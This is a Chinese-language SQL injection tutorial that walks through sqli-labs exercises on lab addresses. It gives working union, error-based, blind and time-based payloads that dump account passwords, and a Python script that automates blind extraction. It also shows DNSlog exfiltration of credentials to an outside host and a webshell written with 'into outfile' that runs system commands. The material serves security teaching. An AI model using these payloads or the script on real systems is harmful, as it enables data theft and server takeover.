什么是SQL注入:
SQL注入是程序对用户输入数据的合法性没有进行处理和判断,导致攻击者可以在web应用程序事先定义好的sql语句中添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器来执行非授权的任意查询,查看未被授权的数据。
SQL注入的步骤(必看)
备:(以下的6步是笔者请求行业大佬加上自己总结出来的通用6步方法)
第一步:
找注入点 (任何与后端数据库交互的地方,请求参数,http头部cookie字段等等)通常用单引号(')去试探
第二步:
判断注入格式(整形/字符型)
判断注入类型(报错,盲注xx)
判断数据库类型(Mysql、MS_SQLserver、Oracle)
第三步:
构造闭合(通过闭合构造后端执行的自定义的sql语句)
整型的闭合为(空白)
第四步:
判断表的行数
第五步:
判断回显位置(时间盲注或布尔盲注没有回显)
例如:当页面出现报错信息我们可以判断它是union注入 | 报错注入
在页面专门输入一个错误的信息他不回显,大概率就是盲注
第六步:
先查库名、表名、字段名
然后{判断自己需要的数据,如账号密码表等)
GET请求:我们一切的操作都在请求行即(URL)中进行注入
UNION:联合查询
ORDRR BY:排序
GROUP BY:分组
SELECT:查询
GROUP_CONCAT:将组中的字符串连接成为具有各种选项的单个字符串
环境:sqli-1
第一步:找到注入点并输入1‘探测是否存在sql注入
注入方式:GET(请求方法)
http://192.168.101.166/sqli/Less-1/?id=1'
第二步:判断注入类型、注入方法、数据库类型
注入方法: UNION注入
数据库类型判断: MYSQL数据库
注入类型判断: 字符型
方法一:
1=1:回显
1=2:回显
两个都回显说明是字符型
http://192.168.101.166/sqli/Less-1/?id=1 and 1=1
http://192.168.101.166/sqli/Less-1/?id=1 and 1=2
1=1/1=2都能正常回显出内容,所以这是一个典型的字符型
第三步:判断闭合方式(整型直接跳过这一步)
常见的闭合有以下几种:
’ " ') ")
这里正确的闭合方式是 '(单引号)
http://192.168.101.166/sqli/Less-1/?id=1'--+
第四步:判断表的列数
判断方法: order by 或者 group by (order by 和group by的用法相同这里我使用order by来演示)
http://192.168.101.166/sqli/Less-1/?id=1' order by 3--+
http://192.168.101.166/sqli/Less-1/?id=1' order by 3--+
在第四步我们确定了表的列数,所以这一步我们来判断哪一列可以回显数据
http://192.168.101.166/sqli/Less-1/?id=1' union select 1,2,3--+
从上一步我们判断了回显位置是在2、3号位,所以我们接下来的暴库、爆表、爆字段等一系列操作都在2、3号位里面进行
http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,database(),3--+
爆表名设计的关键数据库和表名:(必背)
information_schema: 存放所有表和字段的数据库(非常非常重要)
例如:
tables: 存放所有的表 (它归information_schema数据库管)
例如:select table_name from information_schema.tables;
columns: 存放所有表的字段名 (它也归information_schema数据库管)
例如:select column_name from information_schema.columns;
介绍完上面的关键数据库和表名,接下来我们进入正题:
http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,(select Group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
代码里面的Group_concat()
通过上图我们拿到了以下表格:
emails | referers | uagents | users | xm
拿到以上表名,让我们在第八步中爆字段名就容易了
第八步:获取字段名
这里我选择看 users 这张表的字段名
http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+
通过以上步骤我们爆出users这张表里面的字段:
id,username,password 接下来我们就可以看它的密码、账号
第九步:拿取账号、密码
http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,(select group_concat(username,'==>',password) from users),3 --+
到此我们union注入就结束了
常见的报错注入有以下三种:
Extractvalue | updateXML | Floor
涉及到的函数:
Extarctvalue(列名,查询的内容):从目标XML中返回包含所查询值的字符串。
备注:输出字符长度限制为32个字符
例如:select extarctvalue(name,'/boor/html') from tables
从name这个字段里面查找’/boor/html’字符串
concat:拼接字符串
例如:select concat('我爱','中国');
Substring(总的内容,从哪里开始显示,显示几个字符):
例如:select substring('abc',1,1);
第一步:判断注入点(以及是否存在sql注入)
http://192.168.101.175/sqli/Less-5/?id=1'
第二步:判断类型、闭合、数据库、格式
类型:报错注入
格式:字符型
数据库:Mysql
http://192.168.101.175/sqli/Less-5/?id=1 and 1=2--+
http://192.168.101.175/sqli/Less-5/?id=1 and 1=1--+
通过and 1=1 | and 1=2页面都会正常回显所以基本可以确定这是一个字符型的注入
第三步:判断闭合符号
http://192.168.101.175/sqli/Less-5/?id=1' and 1=1--+
http://192.168.101.175/sqli/Less-5/?id=1' and 1=2--+
通过上面 1’ and 1=1(回显) | 1’ and 1=2(不回显)
基本可以确认它的闭合符号为单引号了
第四步:判断列数
http://192.168.101.175/sqli/Less-5/?id=1' order by 3--+
通过笔者多次用二分法来判断,该表的列数为3列
http://192.168.101.175/sqli/Less-5/?id=-1' union select 1,2,3--+
通过以上步骤页面是没有给我们回显1、2、3的,所以union方法就行不通了,我们可以尝试写入错误的函数来判断它是否存在报错注入
http://192.168.101.175/sqli/Less-5/?id=-1' union select 1,databass(),3--+
这里我们使用了错误的 databass() 来试探页面发现果然存在报错注入
所以接下来我们就用extractvalue函数进行暴库、爆表、爆字段
第六步:暴库
http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,concat(0x7e,(database()))))--+
第七步:爆表
http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+
第八步:爆字段
通过上一个步骤我们拿到了以下表格:
emails | referers | uagents | users | xm
拿到以上表名,让我们在第八步中爆字段名就容易了
http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))))--+
通过上一步爆破字段名,我们拿到了 id | username | password 这些字段
接下来我们直接开始爆破密码账号,但是下一步中我们要用到一个关键的函数substring()因为extractvalue()函数只回显32个字符,所以要想拿到全部的账号密码我们就要结合substring函数来爆破
第九步:爆账号密码
显示前31个字符
http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,substring(concat(0x7e,(select group_concat(username,'=',password) from users)),1,31)))--+
显示后31个字符
http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,substring(concat(0x7e,(select group_concat(username,'=',password) from users)),32,61)))--+
到此我们extractvalue报错就结束了
下一节updateXML报错
updateXML(列名,路径,替换路径的内容)
例如:在xml数据库中有张dom表里面存在data字段
这里我们在路径里面添加他就会把线后面的类容给我们回显
第一步:判断注入点
http://192.168.119.134/sqli/Less-5?id=1'
输入单引号会报错 所以它存在SQL注入
第二步:判断类型(整型/字符型) | 闭合方式
payload_1:
http://192.168.119.134/sqli/Less-5?id=1' and 1=2--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=1' and 1=1--+
从上面两个payload我们可以得出两个重要信息:
1、这道题是字符类型,闭合方式是单引号、数据库是mysql
2、有回显,所以可以排除盲注的可能性了
第三步:判断列数
payload_1:
http://192.168.119.134/sqli/Less-5?id=1' order by 3--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=1' order by 4--+
从上面两个payload中得到Order by 3正常回显 Order by 4 报错所以我们可以得出他有3列数据
第四步:判断注入方式
payload_1:
http://192.168.119.134/sqli/Less-5?id=-1' union select 1,2,3--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=-1' union select 1,databass(),3--+
从第一个payload中我们可以从第一张图中得到,页面并没有变化,但是他又有回显,所以我们就可以大胆猜测他是一手报错注入,输入一个错误的database()果不其然他把数据库名称给我们回显出来了 所以我们接下来进行暴库 | 爆表 | 爆字段
第五步:拿数据库名
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,database()),3)--+
我们输入报错的payload在我们意料之中的报错了数据库名称 接下来我们爆表名
第六步:拿表名
payload_1:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,61)),3)--+
第一张图我们可以很明显的看出他的表名没有显示完全,因为updatexml最多只回显前31个字符
所以我们这里用到一个新的函数substring(字符,开始位置,结束位置)
例如substring(database,1,3):只回显sub这三个字符
第七步:爆字段名
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31)),3)--+
从上面的payload中我们的出users表的所有字段名,所以接下来我们进行查看这些字段里面有哪些内容
第八步:爆显示的内容
paylaod_1:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(username,password) from users),1,31)),3)--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(username,password) from users),32,61)),3)--+
从上面两张图中我们只用改变substring(1,2,3)中的2 | 3号位来修改要查看内容的不同位置
到此我们updatexml报错注入就学完啦
floor():向下取整函数
例如:select floor(1.5);
rand():随机返回0-1之间的小数
例如:select rand();
concat_ws():把括号内的数据用第一个字段连接起来
例如:select concat_ws(0x7e,2,3);
0x7e = ~
group by:分组
例如:select count(sex) from users group by sex;
as:起别名
例如:select count(*) as a from users;
count():计数
例如:select count(*) from users;
limit(查看第几行,行数):显示指定行数
例如:显示第二行select * from security.users limit 1,1;
第一步:判断注入点
http://192.168.119.134/sqli/Less-6?id=1"
从上面的报错信息中我们可以得出他的闭合方式为双引号
第二步:判断列数
payload_1:
http://192.168.119.134/sqli/Less-6?id=1" group by 3--+
payload_2:
http://192.168.119.134/sqli/Less-6?id=1" group by 4--+
从上面的两个payload中我们可以很清晰的得出他有3列
第三步:判断攻击方式
payload_1:
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,2,3--+
payload_2:
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,databass(),3--+
从第一个payload中我们可以从第一张图中得到,页面并没有变化,但是他又有回显,所以我们就可以大胆猜测他是一手报错注入,输入一个错误的database()果不其然他把数据库名称给我们回显出来了 所以我们接下来进行暴库 | 爆表 | 爆字段
第四步:暴库
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,database(),floor(rand(0)*2)) as x from information_schema.tables group by x--+
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+
方法一;
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select concat(username,'=',password) from users limit 1,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+
方法二:
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select substring((group_concat(username,'=',password)),31,61) from users),floor(rand(0)*2)) as x from information_schema.tables group by x --+
第一个payload是使用limit函数来控制回显内容
第二个payload是使用substring函数来控制回显内容
到此floor注入就完了
ASCII:将字母转换对应的数字
例如:select ascii('a');
Substr(1,2,3):1:字符串 2:从哪里开始 3:显示几位数字
例如:select substr("abc",2,1);
length:判断长度
例如:select length("abc");
limit:控制要回显的位置
第一步:判断注入点
payload_1:
http://192.168.2.101/sqli/Less-8?id=1'
payload_2:
http://192.168.2.101/sqli/Less-8?id=1'--+
从上面两个payload中,我们可以观察出当输入1’的时候页面没有任何的回显,当输入–+的时候页面回显正常数据,所以我们可以得到以下信息:
1、没有报错回显—》盲注
2、闭合方式位单引号
如果这里我们还不确定闭合符号是否为单引号时我们就可以使用and来判断
例如:
1‘ and 1=1--+ =====>回显
1' and 1=2--+ ===>不回显
当符合上面两种结论的时候我们就可以确认闭合方式为单引号了
第二步:判断数据库名的长度
payload_1:
1' and length(database())>=8--+
payload_2:
1' and length(database())>=9--+
我们判断数据库表名的长度大于等于8的时候,页面正常回显---->然后输入9的时候页面没有回显任何的东西 所以我们基本可以确定数据库名的长度为8位
第三步:爆库名
使用二分法来爆破数据库名:
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),1,1))=115--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),2,1))=101--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),3,1))=99--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),4,1))=117--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),5,1))=115--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),6,1))=114--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),7,1))=104--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),8,1))=116--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),9,1))=121--+
通过以上的方法我们可以得出数据库名为:security
后面的步骤:先拿表名的个数 | 每个表名的长度 | 爆破表名 | 表中的字段总数 | 单个字段的数量 | 爆破字段名 | 判断有多少行数据 | 每个数据有多长 | 爆破数据
下面我们直接上脚本
import requests,re
import os
url = "http://192.168.2.101/sqli/Less-8"
close = "'" #输入闭合符号
"""判断数据库长度"""
global length
def database_length(url):
for x in range(1000):
params = {
"id" : f"1{close.strip()} and length(database())={x}#"
}
response = requests.get(url=url,params=params)
html = response.text
if "You are in" in html:
global length
length = x
print(f'数据库名的长度为:{length}')
break
"""爆破数据库名"""
database = ''#存放数据库名
def database_name(url):
global length
print("-----------+现在开始爆破数据库名:+-----------")
for length in range(1,int(length)+1):
for y in range(1000):
params = {
'id':f"1{close.strip()} and ascii(substr(database(),{length},1))={y}#"
}
response = requests.get(url=url,params=params)
html = response.text
if "You are in" in html:
global database
database += chr(y)
print(f"第{length}位:{chr(y)}")
break
print("爆破完毕!")
print(f"数据库名为:{database}")
"""表的数量"""
global table_sum
def table_count(url):
for y in range(1,200):
params = {
"id":f"1{close.strip()} and (select count(table_name) from information_schema.tables where TABLE_SCHEMA = '{database}')={y}#"
}
response = requests.get(url=url,params=params)
html = response.text
if "You are in" in html:
global table_sum
table_sum = y
print(f'{database}数据库中表的总数为:{table_sum}')
break
"""表名的长度"""
table_lengths = {}
def tables_length(url):
print('-----------+现在开始爆破每张数据表的长度:+-----------')
for x in range(table_sum):
for y in range(1000):
params = {
'id':f"1{close.strip()} and length((select table_name from information_schema.tables where table_schema='{database}' limit {x},1))={y}#"
}
resposne = requests.get(url=url,params=params)
html = resposne.text
if "You are in" in html:
table_lengths[f"{x}"] = y
print(f"第{x+1}张表的长度为:{y}")
break
print('爆破结束!')
"""爆破表名"""
table_name_dic = {}
def tables_name(url):
print('-----------+现在开始爆破每张数据表的表名:+-----------')
for x in table_lengths:
table_name = ""
for y in range(1,table_lengths[x]+1):
for z in range(1000):
params = {
'id':f"1{close} and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {x},1),{y},1))={z}#"
}
resposne = requests.get(url=url,params=params)
html = resposne.text
if "You are in" in html:
table_name += chr(z)
print(f"第{int(x)+1}张表的第{y}个字段为:{chr(z)}")
break
table_name_dic[f'{x}'] = table_name
print("爆破结束!")
"""判断表中字段的数量"""
column_sum_dic = {}
def column_sum(url):
print('-----------+现在开始爆破每张表的字段总数:+-----------')
for table in table_name_dic.values():
for y in range(1000):
params = {
'id':f"1{close} and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{table}')={y}#"
}
resposne = requests.get(url=url,params=params)
html = resposne.text
if "You are in" in html:
column_sum_dic[table] = y
print(f"{table}表的字段数为:{y}")
break
print("爆破结束!")
"""爆破字段名的长度"""
column_dic={}
def column_length(url):
print('-----------+现在开始爆破每张表的字段名长度:+-----------')
for table in column_sum_dic:
column_list = []
for y in range(column_sum_dic[table]):
for x in range(1000):
params = {
'id':f"1{close} and length((select column_name from information_schema.columns where table_name='{table}' and table_schema=database() limit {y},1))={x}#"
}
resposne = requests.get(url=url,params=params)
html = resposne.text
if "You are in" in html:
print(f"{table}中的第{y+1}个字段的数量为:{x}")
column_list.append(x)
break
column_dic[table] = column_list
print('爆破结束!')
"""爆破字段名"""
name_dic = {}#存放表名和字段名
def column_name(url):
print('-----------+现在开始爆破每张表的字段名:+-----------')
for table in column_dic:
names = []
for lis in range(0,len(column_dic[table])):
cname = ''
for x in range(1,column_dic[table][lis]+1):
for y in range(1000):
params = {
'id':f"1{close} and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{table}' limit {lis},1),{x},1))={y}#"
}
resposne = requests.get(url=url,params=params)
html = resposne.text
if "You are in" in html:
cname += chr(y)
print(f"{table}表中的第{lis+1}个字段中的第{x}位为:{chr(y)}")
break
names.append(cname)
name_dic[table] = names
"""爆破内容"""
cname_dic = {}
def conent(url):
for table in name_dic:
cname = ''
table_copy = ''
for x in name_dic[table]:
table_copy += f" {x}"
p = table_copy.strip()
re_p = re.sub(' ',',',p)
for y in range(1000):
params = {
'id':f"1{close} and (select length((select group_concat({re_p}) from {table})))={y}#"
}
response = requests.get(url=url,params=params)
html = response.text
if "You are in" in html:
print(f"{table}表中的共有字符总数:{y}")
for z in range(1,y+1):
for m in range(1000):
params = {
"id":f"1{close} and ascii(substr((select group_concat({re_p}) from {table}),{z},1))={m}#"
}
response = requests.get(url=url,params=params)
html = response.text
if "You are in" in html:
cname += chr(m)
print(f"{table}表第{z}个字符为:{chr(m)}")
break
break
cname_dic[table] = cname
if __name__ in "__main__":
database_length(url=url)
database_name(url=url)
table_count(url=url)
tables_length(url=url)
tables_name(url=url)
print(table_name_dic)
column_sum(url=url)
column_length(url=url)
print(column_dic)
column_name(url=url)
print(name_dic)
conent(url=url)
print(cname_dic)
os.system("cls")
n = ''
print("------------数据库名------------")
print(database)
print("------------表名=字段名------------")
for table in name_dic:
for y in name_dic[table]:
n += f" {y}"
n = n.strip()
p = re.sub(' ','|',n)
print(f"{table}--->{p}")
print("------------数据------------")
for table in cname_dic:
print(f"----{table}----")
if cname_dic[table] == '':
print('无数据')
else:
print(cname_dic[table])
原理:Web页面只返回一个正常页面,利用页面响应时间不同,逐个猜解数据
Sleep():参数为休眠时长,以秒为单位,可以为小数
if(1,2,3):1条件,2真,3假
例如:select if(1=2,1,2);
1=2条件为假,所有mysql返回2
ASCII:将字母转换对应的数字
例如:select ascii('a');
Substr(1,2,3):1:字符串 2:从哪里开始 3:显示几位数字
例如:select substr("abc",2,1);
length:判断长度
例如:select length("abc");
limit:控制要回显的位置
第一步:判断注入点
payload_1:
http://192.168.101.191/sqli/Less-9?id=1'--+
payload_2:
http://192.168.101.191/sqli/Less-9?id=1'
这里我们不管输入1’ | 1"页面都没有任何反应
从上图中可以看出sql语句的闭合方式就是为单引号,但是网站又存在sql注入,所以我们可以总结出以下信息:
1、没有回显(排除报错注入 | union注入)
这里我们可以用dnslog注入 || 时间盲注 这里我们使用时间盲注来做
第二步:判断闭合方式
payload:
http://192.168.101.191/sqli/Less-9?id=1' and sleep(3)--+
从上图我们可以得出网请求了接近3秒钟才给我们返回响应包,所以这道题的闭合方式为单引号
第三步:判断数据库名的长度
payload:
http://192.168.101.191/sqli/Less-9?id=1' and if((select length(database()))=8,sleep(2),sleep(0))--+
这里返回的时间为2.01跟2很接近,所以数据库的长度为8
第四步:暴库名
payload:
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),3)--+
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),2,1))=101,sleep(2),3)--+
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),3,1))=99,sleep(2),3)--+
|
|
V
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),8,1))=121,sleep(2),3)--+
通过控制substr中的第二参数来调整数据名的位数,进行依次爆破每个字母的值
然后对照ascii表爆出数据名为:security
后面的步骤就不一一演示了,因为和上面的方法类似
后面的步骤为:判断表的个数 | 判断表的数量 | 判断表名的长度 | 爆破表名 | 判断单张表中字段的总数 | 判断字段的长度 | 爆破字段名 | 爆破内容
第一步打开my.ini文件
进入MysqL文件夹下面点击my.ini
第二步:修改secure_file_priv=空白
如果页面中有secure_file_priv就直接修改,没有就添加进去
使用DNSlog注入前提是数据库配置文件中的secure_file_priv开启了的并且注入方式为union
使用show variables like '%secure%'
来查看mysql是否具有文件读写权限
secure_file_priv:null
—>不能读写
secure_file_priv:c:\\
—>只能在c盘中读取
secure_file_priv:空白
—>可以任意读写
load_file(路径):读取文件[不仅可以读取本地文件,还可以读取网上的文件]
例如:select load_file("//127.0.0.1/123/phpinfo.php")
这里还要用到一个DNSlog网站 传送门
因为笔者睡了一天后发现第一个Dnslog网站打不开了,所以接下来的案例用下面这个转送门来进行讲解
去DNSlog网站申请一个子域名网址传送门
这里打开DNSlog网页(也就是上面的传送门)我们就可以看见子域名信息
http://192.168.2.101/sqli/Less-7?id=1'))
http://192.168.2.101/sqli/Less-7?id=1'))--+
这里我们输入第一个payload的时候页面给我们提示错误,然后我们添加–+注释掉多余的部分后,页面正常回显 通过以上两个payload我们可以得出以下结论:
1、闭合方式为"))
2、有回显的内容
第二步:判断列数
http://192.168.2.101/sqli/Less-7?id=1')) group by 3--+
http://192.168.2.101/sqli/Less-7?id=1')) group by 4--+
第一个payload不报错,然后我们第二个payload输入4列网页报错,所以基本我们可以肯定它有3列数据 接下里我们直接上union注入
第三步:
payload_1:
http://192.168.2.101/sqli/Less-7?id=-1')) union select 1,2,3--+
payload_2:
http://192.168.2.101/sqli/Less-7?id=-1')) union select 1,databass(),3--+
从上面两个payload中我们可以得出以下结论:
1、union注入没有反应
2、报错注入也没有反应(所以这道题绝对不是报错)
一般遇到这种情况我们就可以考虑用盲注或者DNSlog注入了这里我们用DNSlog注入
第四步:使用DNSlog注入获取数据库名
语法:load_file(concat('//',(注入的语句),".子域名/a.txt"))
load_file(concat('//',database(),'.6e366741.ipv6.1433.eu.org/a.txt'))
?id=-1')) union select 1,2,load_file(concat('//',database(),'.6e366741.ipv6.1433.eu.org/a.txt'))--+
然后我们输入payload后去dnslog网站刷新就会看见数据库的表名
http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+
我们输入payload后提交,然后去dnslog上面刷新就会看见一张表的信息,因为我们这里是用limit来控制输出的,如果要看第二张表的话我们就把payload中的limit 0,1修改成limit 1,1
例如:
用以上的方法我们就可以拿到全部的数据表
第六步:获取字段名
http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() andtable_name='users' limit 0,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+
同过上面的payload然后修改limit就可以获得表中全部的字段
第七步:获取表中的内容
密码payload:
http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select password from users limit 1,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+
账号payload:
http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select username from users limit 1,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+
通过上面的payload也和上面的步骤一样控制limit函数我们就可以拿到全部的账号和密码了
sql文件写入一句话木马的前提条件和DNSlog注入一样
1、@@datadir:显示mysql文件夹的路径
例如:select @@datadir
2、into outfile:写入文件命令
例如:select "" into outfile "C:\\phpstudy_pro\\www\\phpinfo.php"
1、先判断注入点 | 判断列数 | 判断注入方法这里我们的方法就是使用into outfile文件写入函数
2、构造文件写入一句话木马payload
http://192.168.2.101/sqli/Less-7?id=1')) union select 1,2,"" into outfile "C:\\phpstudy_pro\\www\\ben.php"--+
3、访问我们上传的木马文件
http://192.168.2.101/ben.php?pass=phpinfo();
除了使用phpinfo()函数,我们还可以使用system()来控制目标机器
例如:查看ip地址
http://192.168.2.101/ben.php?pass=system("ipconfig");